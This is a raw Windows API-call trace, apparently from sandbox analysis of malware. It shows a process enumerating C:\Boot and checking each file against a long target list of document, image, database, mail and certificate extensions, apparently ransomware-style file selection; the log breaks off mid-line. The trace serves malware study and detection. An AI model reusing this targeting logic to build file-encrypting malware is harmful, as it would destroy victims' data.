lstrcmpiW (lpString1=".djvu", lpString2="t.ttf") returned -1 [0040.309] lstrlenW (lpString=".dng") returned 4 [0040.309] lstrcmpiW (lpString1=".dng", lpString2=".ttf") returned -1 [0040.309] lstrlenW (lpString=".doc") returned 4 [0040.309] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0040.309] lstrlenW (lpString=".docm") returned 5 [0040.309] lstrcmpiW (lpString1=".docm", lpString2="t.ttf") returned -1 [0040.309] lstrlenW (lpString=".docx") returned 5 [0040.309] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0040.309] lstrlenW (lpString=".dot") returned 4 [0040.309] lstrcmpiW (lpString1=".dot", lpString2=".ttf") returned -1 [0040.309] lstrlenW (lpString=".dotm") returned 5 [0040.309] lstrcmpiW (lpString1=".dotm", lpString2="t.ttf") returned -1 [0040.309] lstrlenW (lpString=".dotx") returned 5 [0040.309] lstrcmpiW (lpString1=".dotx", lpString2="t.ttf") returned -1 [0040.309] lstrlenW (lpString=".dpx") returned 4 [0040.310] lstrcmpiW (lpString1=".dpx", lpString2=".ttf") returned -1 [0040.310] lstrlenW (lpString=".dqy") returned 4 [0040.310] lstrcmpiW (lpString1=".dqy", lpString2=".ttf") returned -1 [0040.310] lstrlenW (lpString=".dsn") returned 4 [0040.310] lstrcmpiW (lpString1=".dsn", lpString2=".ttf") returned -1 [0040.310] lstrlenW (lpString=".dt") returned 3 [0040.310] lstrcmpiW (lpString1=".dt", lpString2="ttf") returned -1 [0040.310] lstrlenW (lpString=".dtd") returned 4 [0040.310] lstrcmpiW (lpString1=".dtd", lpString2=".ttf") returned -1 [0040.310] lstrlenW (lpString=".dwg") returned 4 [0040.310] lstrcmpiW (lpString1=".dwg", lpString2=".ttf") returned -1 [0040.310] lstrlenW (lpString=".dwt") returned 4 [0040.310] lstrcmpiW (lpString1=".dwt", lpString2=".ttf") returned -1 [0040.310] lstrlenW (lpString=".dx") returned 3 [0040.310] lstrcmpiW (lpString1=".dx", lpString2="ttf") returned -1 [0040.310] lstrlenW (lpString=".dxf") returned 4 [0040.310] lstrcmpiW (lpString1=".dxf", lpString2=".ttf") returned -1 [0040.310] lstrlenW (lpString=".edml") returned 5 [0040.310] lstrcmpiW (lpString1=".edml", lpString2="t.ttf") returned -1 [0040.310] lstrlenW (lpString=".efd") returned 4 [0040.310] lstrcmpiW (lpString1=".efd", lpString2=".ttf") returned -1 [0040.310] lstrlenW (lpString=".elf") returned 4 [0040.310] lstrcmpiW (lpString1=".elf", lpString2=".ttf") returned -1 [0040.310] lstrlenW (lpString=".emf") returned 4 [0040.310] lstrcmpiW (lpString1=".emf", lpString2=".ttf") returned -1 [0040.310] lstrlenW (lpString=".emz") returned 4 [0040.310] lstrcmpiW (lpString1=".emz", lpString2=".ttf") returned -1 [0040.310] lstrlenW (lpString=".epf") returned 4 [0040.310] lstrcmpiW (lpString1=".epf", lpString2=".ttf") returned -1 [0040.310] lstrlenW (lpString=".eps") returned 4 [0040.310] lstrcmpiW (lpString1=".eps", lpString2=".ttf") returned -1 [0040.310] lstrlenW (lpString=".epsf") returned 5 [0040.311] lstrcmpiW (lpString1=".epsf", lpString2="t.ttf") returned -1 [0040.311] lstrlenW (lpString=".epsp") returned 5 [0040.311] lstrcmpiW (lpString1=".epsp", lpString2="t.ttf") returned -1 [0040.311] lstrlenW (lpString=".erf") returned 4 [0040.311] lstrcmpiW (lpString1=".erf", lpString2=".ttf") returned -1 [0040.311] lstrlenW (lpString=".exr") returned 4 [0040.311] lstrcmpiW (lpString1=".exr", lpString2=".ttf") returned -1 [0040.311] lstrlenW (lpString=".f4v") returned 4 [0040.311] lstrcmpiW (lpString1=".f4v", lpString2=".ttf") returned -1 [0040.311] lstrlenW (lpString=".fido") returned 5 [0040.311] lstrcmpiW (lpString1=".fido", lpString2="t.ttf") returned -1 [0040.311] lstrlenW (lpString=".flm") returned 4 [0040.311] lstrcmpiW (lpString1=".flm", lpString2=".ttf") returned -1 [0040.311] lstrlenW (lpString=".flv") returned 4 [0040.311] lstrcmpiW (lpString1=".flv", lpString2=".ttf") returned -1 [0040.311] lstrlenW (lpString=".frm") returned 4 [0040.311] lstrcmpiW (lpString1=".frm", lpString2=".ttf") returned -1 [0040.311] lstrlenW (lpString=".fxg") returned 4 [0040.311] lstrcmpiW (lpString1=".fxg", lpString2=".ttf") returned -1 [0040.311] lstrlenW (lpString=".geo") returned 4 [0040.311] lstrcmpiW (lpString1=".geo", lpString2=".ttf") returned -1 [0040.311] lstrlenW (lpString=".gif") returned 4 [0040.311] lstrcmpiW (lpString1=".gif", lpString2=".ttf") returned -1 [0040.311] lstrlenW (lpString=".grs") returned 4 [0040.311] lstrcmpiW (lpString1=".grs", lpString2=".ttf") returned -1 [0040.311] lstrlenW (lpString=".gz") returned 3 [0040.311] lstrcmpiW (lpString1=".gz", lpString2="ttf") returned -1 [0040.311] lstrlenW (lpString=".h") returned 2 [0040.311] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0040.311] lstrlenW (lpString=".hdr") returned 4 [0040.311] lstrcmpiW (lpString1=".hdr", lpString2=".ttf") returned -1 [0040.311] lstrlenW (lpString=".hpp") returned 4 [0040.311] lstrcmpiW (lpString1=".hpp", lpString2=".ttf") returned -1 [0040.312] lstrlenW (lpString=".hta") returned 4 [0040.312] lstrcmpiW (lpString1=".hta", lpString2=".ttf") returned -1 [0040.312] lstrlenW (lpString=".htc") returned 4 [0040.312] lstrcmpiW (lpString1=".htc", lpString2=".ttf") returned -1 [0040.312] lstrlenW (lpString=".htm") returned 4 [0040.312] lstrcmpiW (lpString1=".htm", lpString2=".ttf") returned -1 [0040.312] lstrlenW (lpString=".html") returned 5 [0040.312] lstrcmpiW (lpString1=".html", lpString2="t.ttf") returned -1 [0040.312] lstrlenW (lpString=".icb") returned 4 [0040.312] lstrcmpiW (lpString1=".icb", lpString2=".ttf") returned -1 [0040.312] lstrlenW (lpString=".ics") returned 4 [0040.312] lstrcmpiW (lpString1=".ics", lpString2=".ttf") returned -1 [0040.312] lstrlenW (lpString=".iff") returned 4 [0040.312] lstrcmpiW (lpString1=".iff", lpString2=".ttf") returned -1 [0040.312] lstrlenW (lpString=".inc") returned 4 [0040.312] lstrcmpiW (lpString1=".inc", lpString2=".ttf") returned -1 [0040.312] lstrlenW (lpString=".indd") returned 5 [0040.312] lstrcmpiW (lpString1=".indd", lpString2="t.ttf") returned -1 [0040.312] lstrlenW (lpString=".ini") returned 4 [0040.312] lstrcmpiW (lpString1=".ini", lpString2=".ttf") returned -1 [0040.312] lstrlenW (lpString=".iqy") returned 4 [0040.312] lstrcmpiW (lpString1=".iqy", lpString2=".ttf") returned -1 [0040.312] lstrlenW (lpString=".j2c") returned 4 [0040.312] lstrcmpiW (lpString1=".j2c", lpString2=".ttf") returned -1 [0040.312] lstrlenW (lpString=".j2k") returned 4 [0040.312] lstrcmpiW (lpString1=".j2k", lpString2=".ttf") returned -1 [0040.312] lstrlenW (lpString=".java") returned 5 [0040.312] lstrcmpiW (lpString1=".java", lpString2="t.ttf") returned -1 [0040.312] lstrlenW (lpString=".jp2") returned 4 [0040.312] lstrcmpiW (lpString1=".jp2", lpString2=".ttf") returned -1 [0040.312] lstrlenW (lpString=".jpc") returned 4 [0040.312] lstrcmpiW (lpString1=".jpc", lpString2=".ttf") returned -1 [0040.313] lstrlenW (lpString=".jpe") returned 4 [0040.313] lstrcmpiW (lpString1=".jpe", lpString2=".ttf") returned -1 [0040.313] lstrlenW (lpString=".jpeg") returned 5 [0040.313] lstrcmpiW (lpString1=".jpeg", lpString2="t.ttf") returned -1 [0040.313] lstrlenW (lpString=".jpf") returned 4 [0040.313] lstrcmpiW (lpString1=".jpf", lpString2=".ttf") returned -1 [0040.313] lstrlenW (lpString=".jpg") returned 4 [0040.313] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0040.313] lstrlenW (lpString=".jpx") returned 4 [0040.313] lstrcmpiW (lpString1=".jpx", lpString2=".ttf") returned -1 [0040.313] lstrlenW (lpString=".js") returned 3 [0040.313] lstrcmpiW (lpString1=".js", lpString2="ttf") returned -1 [0040.313] lstrlenW (lpString=".jsf") returned 4 [0040.313] lstrcmpiW (lpString1=".jsf", lpString2=".ttf") returned -1 [0040.313] lstrlenW (lpString=".json") returned 5 [0040.313] lstrcmpiW (lpString1=".json", lpString2="t.ttf") returned -1 [0040.313] lstrlenW (lpString=".jsp") returned 4 [0040.313] lstrcmpiW (lpString1=".jsp", lpString2=".ttf") returned -1 [0040.313] lstrlenW (lpString=".kdc") returned 4 [0040.313] lstrcmpiW (lpString1=".kdc", lpString2=".ttf") returned -1 [0040.313] lstrlenW (lpString=".kmz") returned 4 [0040.313] lstrcmpiW (lpString1=".kmz", lpString2=".ttf") returned -1 [0040.313] lstrlenW (lpString=".kwm") returned 4 [0040.313] lstrcmpiW (lpString1=".kwm", lpString2=".ttf") returned -1 [0040.313] lstrlenW (lpString=".lasso") returned 6 [0040.313] lstrcmpiW (lpString1=".lasso", lpString2="ot.ttf") returned -1 [0040.313] lstrlenW (lpString=".lbi") returned 4 [0040.313] lstrcmpiW (lpString1=".lbi", lpString2=".ttf") returned -1 [0040.313] lstrlenW (lpString=".lgf") returned 4 [0040.313] lstrcmpiW (lpString1=".lgf", lpString2=".ttf") returned -1 [0040.313] lstrlenW (lpString=".lgp") returned 4 [0040.313] lstrcmpiW (lpString1=".lgp", lpString2=".ttf") returned -1 [0040.313] lstrlenW (lpString=".log") returned 4 [0040.314] lstrcmpiW (lpString1=".log", lpString2=".ttf") returned -1 [0040.314] lstrlenW (lpString=".m1v") returned 4 [0040.314] lstrcmpiW (lpString1=".m1v", lpString2=".ttf") returned -1 [0040.314] lstrlenW (lpString=".m4a") returned 4 [0040.314] lstrcmpiW (lpString1=".m4a", lpString2=".ttf") returned -1 [0040.314] lstrlenW (lpString=".m4v") returned 4 [0040.314] lstrcmpiW (lpString1=".m4v", lpString2=".ttf") returned -1 [0040.314] lstrlenW (lpString=".max") returned 4 [0040.314] lstrcmpiW (lpString1=".max", lpString2=".ttf") returned -1 [0040.314] lstrlenW (lpString=".md") returned 3 [0040.314] lstrcmpiW (lpString1=".md", lpString2="ttf") returned -1 [0040.314] lstrlenW (lpString=".mda") returned 4 [0040.314] lstrcmpiW (lpString1=".mda", lpString2=".ttf") returned -1 [0040.314] lstrlenW (lpString=".mdb") returned 4 [0040.314] lstrcmpiW (lpString1=".mdb", lpString2=".ttf") returned -1 [0040.314] lstrlenW (lpString=".mde") returned 4 [0040.314] lstrcmpiW (lpString1=".mde", lpString2=".ttf") returned -1 [0040.314] lstrlenW (lpString=".mdf") returned 4 [0040.314] lstrcmpiW (lpString1=".mdf", lpString2=".ttf") returned -1 [0040.314] lstrlenW (lpString=".mdw") returned 4 [0040.314] lstrcmpiW (lpString1=".mdw", lpString2=".ttf") returned -1 [0040.314] lstrlenW (lpString=".mef") returned 4 [0040.314] lstrcmpiW (lpString1=".mef", lpString2=".ttf") returned -1 [0040.314] lstrlenW (lpString=".mft") returned 4 [0040.314] lstrcmpiW (lpString1=".mft", lpString2=".ttf") returned -1 [0040.314] lstrlenW (lpString=".mfw") returned 4 [0040.314] lstrcmpiW (lpString1=".mfw", lpString2=".ttf") returned -1 [0040.314] lstrlenW (lpString=".mht") returned 4 [0040.314] lstrcmpiW (lpString1=".mht", lpString2=".ttf") returned -1 [0040.314] lstrlenW (lpString=".mhtml") returned 6 [0040.314] lstrcmpiW (lpString1=".mhtml", lpString2="ot.ttf") returned -1 [0040.314] lstrlenW (lpString=".mka") returned 4 [0040.315] lstrcmpiW (lpString1=".mka", lpString2=".ttf") returned -1 [0040.315] lstrlenW (lpString=".mkidx") returned 6 [0040.315] lstrcmpiW (lpString1=".mkidx", lpString2="ot.ttf") returned -1 [0040.315] lstrlenW (lpString=".mkv") returned 4 [0040.315] lstrcmpiW (lpString1=".mkv", lpString2=".ttf") returned -1 [0040.315] lstrlenW (lpString=".mos") returned 4 [0040.315] lstrcmpiW (lpString1=".mos", lpString2=".ttf") returned -1 [0040.315] lstrlenW (lpString=".mov") returned 4 [0040.315] lstrcmpiW (lpString1=".mov", lpString2=".ttf") returned -1 [0040.315] lstrlenW (lpString=".mp3") returned 4 [0040.315] lstrcmpiW (lpString1=".mp3", lpString2=".ttf") returned -1 [0040.315] lstrlenW (lpString=".mp4") returned 4 [0040.315] lstrcmpiW (lpString1=".mp4", lpString2=".ttf") returned -1 [0040.315] lstrlenW (lpString=".mpeg") returned 5 [0040.315] lstrcmpiW (lpString1=".mpeg", lpString2="t.ttf") returned -1 [0040.315] lstrlenW (lpString=".mpg") returned 4 [0040.315] lstrcmpiW (lpString1=".mpg", lpString2=".ttf") returned -1 [0040.315] lstrlenW (lpString=".mpv") returned 4 [0040.315] lstrcmpiW (lpString1=".mpv", lpString2=".ttf") returned -1 [0040.315] lstrlenW (lpString=".mrw") returned 4 [0040.315] lstrcmpiW (lpString1=".mrw", lpString2=".ttf") returned -1 [0040.315] lstrlenW (lpString=".msg") returned 4 [0040.315] lstrcmpiW (lpString1=".msg", lpString2=".ttf") returned -1 [0040.315] lstrlenW (lpString=".mxl") returned 4 [0040.315] lstrcmpiW (lpString1=".mxl", lpString2=".ttf") returned -1 [0040.315] lstrlenW (lpString=".myd") returned 4 [0040.315] lstrcmpiW (lpString1=".myd", lpString2=".ttf") returned -1 [0040.315] lstrlenW (lpString=".myi") returned 4 [0040.315] lstrcmpiW (lpString1=".myi", lpString2=".ttf") returned -1 [0040.315] lstrlenW (lpString=".nef") returned 4 [0040.315] lstrcmpiW (lpString1=".nef", lpString2=".ttf") returned -1 [0040.315] lstrlenW (lpString=".nrw") returned 4 [0040.315] lstrcmpiW (lpString1=".nrw", lpString2=".ttf") returned -1 [0040.316] lstrlenW (lpString=".obj") returned 4 [0040.316] lstrcmpiW (lpString1=".obj", lpString2=".ttf") returned -1 [0040.316] lstrlenW (lpString=".odb") returned 4 [0040.316] lstrcmpiW (lpString1=".odb", lpString2=".ttf") returned -1 [0040.316] lstrlenW (lpString=".odc") returned 4 [0040.316] lstrcmpiW (lpString1=".odc", lpString2=".ttf") returned -1 [0040.316] lstrlenW (lpString=".odm") returned 4 [0040.316] lstrcmpiW (lpString1=".odm", lpString2=".ttf") returned -1 [0040.316] lstrlenW (lpString=".odp") returned 4 [0040.316] lstrcmpiW (lpString1=".odp", lpString2=".ttf") returned -1 [0040.316] lstrlenW (lpString=".ods") returned 4 [0040.316] lstrcmpiW (lpString1=".ods", lpString2=".ttf") returned -1 [0040.316] lstrlenW (lpString=".oft") returned 4 [0040.316] lstrcmpiW (lpString1=".oft", lpString2=".ttf") returned -1 [0040.316] lstrlenW (lpString=".one") returned 4 [0040.316] lstrcmpiW (lpString1=".one", lpString2=".ttf") returned -1 [0040.316] lstrlenW (lpString=".onepkg") returned 7 [0040.316] lstrcmpiW (lpString1=".onepkg", lpString2="oot.ttf") returned -1 [0040.316] lstrlenW (lpString=".onetoc2") returned 8 [0040.316] lstrcmpiW (lpString1=".onetoc2", lpString2="boot.ttf") returned -1 [0040.316] lstrlenW (lpString=".opt") returned 4 [0040.316] lstrcmpiW (lpString1=".opt", lpString2=".ttf") returned -1 [0040.316] lstrlenW (lpString=".oqy") returned 4 [0040.316] lstrcmpiW (lpString1=".oqy", lpString2=".ttf") returned -1 [0040.316] lstrlenW (lpString=".orf") returned 4 [0040.316] lstrcmpiW (lpString1=".orf", lpString2=".ttf") returned -1 [0040.316] lstrlenW (lpString=".p12") returned 4 [0040.316] lstrcmpiW (lpString1=".p12", lpString2=".ttf") returned -1 [0040.316] lstrlenW (lpString=".p7b") returned 4 [0040.316] lstrcmpiW (lpString1=".p7b", lpString2=".ttf") returned -1 [0040.316] lstrlenW (lpString=".p7c") returned 4 [0040.316] lstrcmpiW (lpString1=".p7c", lpString2=".ttf") returned -1 [0040.316] lstrlenW (lpString=".pam") returned 4 [0040.317] lstrcmpiW (lpString1=".pam", lpString2=".ttf") returned -1 [0040.317] lstrlenW (lpString=".pbm") returned 4 [0040.317] lstrcmpiW (lpString1=".pbm", lpString2=".ttf") returned -1 [0040.317] lstrlenW (lpString=".pct") returned 4 [0040.317] lstrcmpiW (lpString1=".pct", lpString2=".ttf") returned -1 [0040.317] lstrlenW (lpString=".pcx") returned 4 [0040.317] lstrcmpiW (lpString1=".pcx", lpString2=".ttf") returned -1 [0040.317] lstrlenW (lpString=".pdd") returned 4 [0040.317] lstrcmpiW (lpString1=".pdd", lpString2=".ttf") returned -1 [0040.317] lstrlenW (lpString=".pdf") returned 4 [0040.317] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0040.317] lstrlenW (lpString=".pdp") returned 4 [0040.317] lstrcmpiW (lpString1=".pdp", lpString2=".ttf") returned -1 [0040.317] lstrlenW (lpString=".pef") returned 4 [0040.317] lstrcmpiW (lpString1=".pef", lpString2=".ttf") returned -1 [0040.317] lstrlenW (lpString=".pem") returned 4 [0040.317] lstrcmpiW (lpString1=".pem", lpString2=".ttf") returned -1 [0040.317] lstrlenW (lpString=".pff") returned 4 [0040.317] lstrcmpiW (lpString1=".pff", lpString2=".ttf") returned -1 [0040.317] lstrlenW (lpString=".pfm") returned 4 [0040.317] lstrcmpiW (lpString1=".pfm", lpString2=".ttf") returned -1 [0040.317] lstrlenW (lpString=".pfx") returned 4 [0040.317] lstrcmpiW (lpString1=".pfx", lpString2=".ttf") returned -1 [0040.317] lstrlenW (lpString=".pgm") returned 4 [0040.317] lstrcmpiW (lpString1=".pgm", lpString2=".ttf") returned -1 [0040.317] lstrlenW (lpString=".php") returned 4 [0040.317] lstrcmpiW (lpString1=".php", lpString2=".ttf") returned -1 [0040.317] lstrlenW (lpString=".php3") returned 5 [0040.317] lstrcmpiW (lpString1=".php3", lpString2="t.ttf") returned -1 [0040.317] lstrlenW (lpString=".php4") returned 5 [0040.317] lstrcmpiW (lpString1=".php4", lpString2="t.ttf") returned -1 [0040.317] lstrlenW (lpString=".php5") returned 5 [0040.317] lstrcmpiW (lpString1=".php5", lpString2="t.ttf") returned -1 [0040.318] lstrlenW (lpString=".phtml") returned 6 [0040.318] lstrcmpiW (lpString1=".phtml", lpString2="ot.ttf") returned -1 [0040.318] lstrlenW (lpString=".pict") returned 5 [0040.318] lstrcmpiW (lpString1=".pict", lpString2="t.ttf") returned -1 [0040.318] lstrlenW (lpString=".pl") returned 3 [0040.318] lstrcmpiW (lpString1=".pl", lpString2="ttf") returned -1 [0040.318] lstrlenW (lpString=".pls") returned 4 [0040.318] lstrcmpiW (lpString1=".pls", lpString2=".ttf") returned -1 [0040.318] lstrlenW (lpString=".pm") returned 3 [0040.318] lstrcmpiW (lpString1=".pm", lpString2="ttf") returned -1 [0040.318] lstrlenW (lpString=".png") returned 4 [0040.399] lstrcmpiW (lpString1=".png", lpString2=".ttf") returned -1 [0040.399] lstrlenW (lpString=".pnm") returned 4 [0040.399] lstrcmpiW (lpString1=".pnm", lpString2=".ttf") returned -1 [0040.399] lstrlenW (lpString=".pot") returned 4 [0040.399] lstrcmpiW (lpString1=".pot", lpString2=".ttf") returned -1 [0040.399] lstrlenW (lpString=".potm") returned 5 [0040.399] lstrcmpiW (lpString1=".potm", lpString2="t.ttf") returned -1 [0040.400] lstrlenW (lpString=".potx") returned 5 [0040.400] lstrcmpiW (lpString1=".potx", lpString2="t.ttf") returned -1 [0040.400] lstrlenW (lpString=".ppa") returned 4 [0040.400] lstrcmpiW (lpString1=".ppa", lpString2=".ttf") returned -1 [0040.400] lstrlenW (lpString=".ppam") returned 5 [0040.400] lstrcmpiW (lpString1=".ppam", lpString2="t.ttf") returned -1 [0040.400] lstrlenW (lpString=".ppm") returned 4 [0040.400] lstrcmpiW (lpString1=".ppm", lpString2=".ttf") returned -1 [0040.400] lstrlenW (lpString=".pps") returned 4 [0040.400] lstrcmpiW (lpString1=".pps", lpString2=".ttf") returned -1 [0040.400] lstrlenW (lpString=".ppsm") returned 5 [0040.400] lstrcmpiW (lpString1=".ppsm", lpString2="t.ttf") returned -1 [0040.400] lstrlenW (lpString=".ppt") returned 4 [0040.400] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0040.400] lstrlenW (lpString=".pptm") returned 5 [0040.400] lstrcmpiW (lpString1=".pptm", lpString2="t.ttf") returned -1 [0040.400] lstrlenW (lpString=".pptx") returned 5 [0040.400] lstrcmpiW (lpString1=".pptx", lpString2="t.ttf") returned -1 [0040.400] lstrlenW (lpString=".prn") returned 4 [0040.400] lstrcmpiW (lpString1=".prn", lpString2=".ttf") returned -1 [0040.400] lstrlenW (lpString=".ps") returned 3 [0040.400] lstrcmpiW (lpString1=".ps", lpString2="ttf") returned -1 [0040.400] lstrlenW (lpString=".psb") returned 4 [0040.400] lstrcmpiW (lpString1=".psb", lpString2=".ttf") returned -1 [0040.400] lstrlenW (lpString=".psd") returned 4 [0040.400] lstrcmpiW (lpString1=".psd", lpString2=".ttf") returned -1 [0040.400] lstrlenW (lpString=".pst") returned 4 [0040.400] lstrcmpiW (lpString1=".pst", lpString2=".ttf") returned -1 [0040.401] lstrlenW (lpString=".ptx") returned 4 [0040.401] lstrcmpiW (lpString1=".ptx", lpString2=".ttf") returned -1 [0040.401] lstrlenW (lpString=".pub") returned 4 [0040.401] lstrcmpiW (lpString1=".pub", lpString2=".ttf") returned -1 [0040.401] lstrlenW (lpString=".pwm") returned 4 [0040.401] lstrcmpiW (lpString1=".pwm", lpString2=".ttf") returned -1 [0040.401] lstrlenW (lpString=".pxr") returned 4 [0040.401] lstrcmpiW (lpString1=".pxr", lpString2=".ttf") returned -1 [0040.401] lstrlenW (lpString=".py") returned 3 [0040.401] lstrcmpiW (lpString1=".py", lpString2="ttf") returned -1 [0040.401] lstrlenW (lpString=".qt") returned 3 [0040.401] lstrcmpiW (lpString1=".qt", lpString2="ttf") returned -1 [0040.401] lstrlenW (lpString=".r3d") returned 4 [0040.401] lstrcmpiW (lpString1=".r3d", lpString2=".ttf") returned -1 [0040.401] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0040.401] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0040.402] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0040.402] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0040.402] FindNextFileW (in: hFindFile=0x605268, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0040.402] FindClose (in: hFindFile=0x605268 | out: hFindFile=0x605268) returned 1 [0040.402] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x39506e8 | out: hHeap=0x510000) returned 1 [0040.402] FindNextFileW (in: hFindFile=0x604220, lpFindFileData=0x353fa84 | out: lpFindFileData=0x353fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0040.402] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x39506e8 [0040.402] lstrlenW (lpString="C:\\Boot\\fr-FR") returned 13 [0040.402] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x602de0 [0040.403] FindNextFileW (in: hFindFile=0x602de0, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.403] FindNextFileW (in: hFindFile=0x602de0, lpFindFileData=0x353f808 | out: lpFindFileData=0x353f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0040.403] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0040.403] lstrlenW (lpString=".1cd") returned 4 [0040.403] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0040.403] lstrlenW (lpString=".3ds") returned 4 [0040.403] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0040.403] lstrlenW (lpString=".3fr") returned 4 [0040.403] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0040.403] lstrlenW (lpString=".3g2") returned 4 [0040.403] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0040.403] lstrlenW (lpString=".3gp") returned 4 [0040.403] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0040.403] lstrlenW (lpString=".7z") returned 3 [0040.403] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0040.403] lstrlenW (lpString=".accda") returned 6 [0040.403] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0040.403] lstrlenW (lpString=".accdb") returned 6 [0040.403] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0040.403] lstrlenW (lpString=".accdc") returned 6 [0040.404] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0040.404] lstrlenW (lpString=".accde") returned 6 [0040.404] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0040.404] lstrlenW (lpString=".accdt") returned 6 [0040.404] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0040.404] lstrlenW (lpString=".accdw") returned 6 [0040.404] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0040.404] lstrlenW (lpString=".adb") 